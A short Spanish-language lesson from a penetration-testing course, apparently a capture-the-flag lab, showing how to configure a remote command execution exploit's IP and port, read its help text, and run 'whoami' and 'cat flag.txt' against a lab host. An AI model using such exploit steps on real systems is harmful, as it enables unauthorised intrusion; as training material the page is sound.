XUT_ / COURSES / PENETRATION TESTER

Example of Manual Exploit

Podemos usar la información extraída de la tarea 1 de esta unidad para explotar un servicio vulnerable. Una de las vulnerabilidades más cotizadas son aquellas que nos permiten la ejecución remota de comandos.

Vamos a usar un exploit para realizar una RCE (Remote Command Execution) en la aplicación de la unidad 1.

IMPORTANT

La mayoría de exploits necesitan un poco de configuración inicial para funcionar.

Por ejemplo:

  1. Antes:

    shell
    nano exploit.py
    mymachine="192.168.1.10"
    port="1337"
  2. Después:

shell
   nano exploit.py
   mymachine="10.13.37.10"
   port="1337"

Una vez que hemos preparado el exploit, debemos ver cómo utilizarlo:

shell
exploit.py --help
To use this exploit, provide the following arguments:
-u The URL of the application
-c the command that you wish to execute

Con esta información podemos usarlo:

  1. Primero vamos a ejecutar un comando sencillo para asegurarnos de que funcione.
    shell
    exploit.py -u http://10.10.10.10 -c "whoami"
    www-data
  2. Luego vamos a leer un archivo que nos interese (una vez que sabemos que funciona).
    shell
    exploit.py -u http://10.10.10.10 -c "cat flag.txt"
    THM{EXPLOIT_COMPLETE}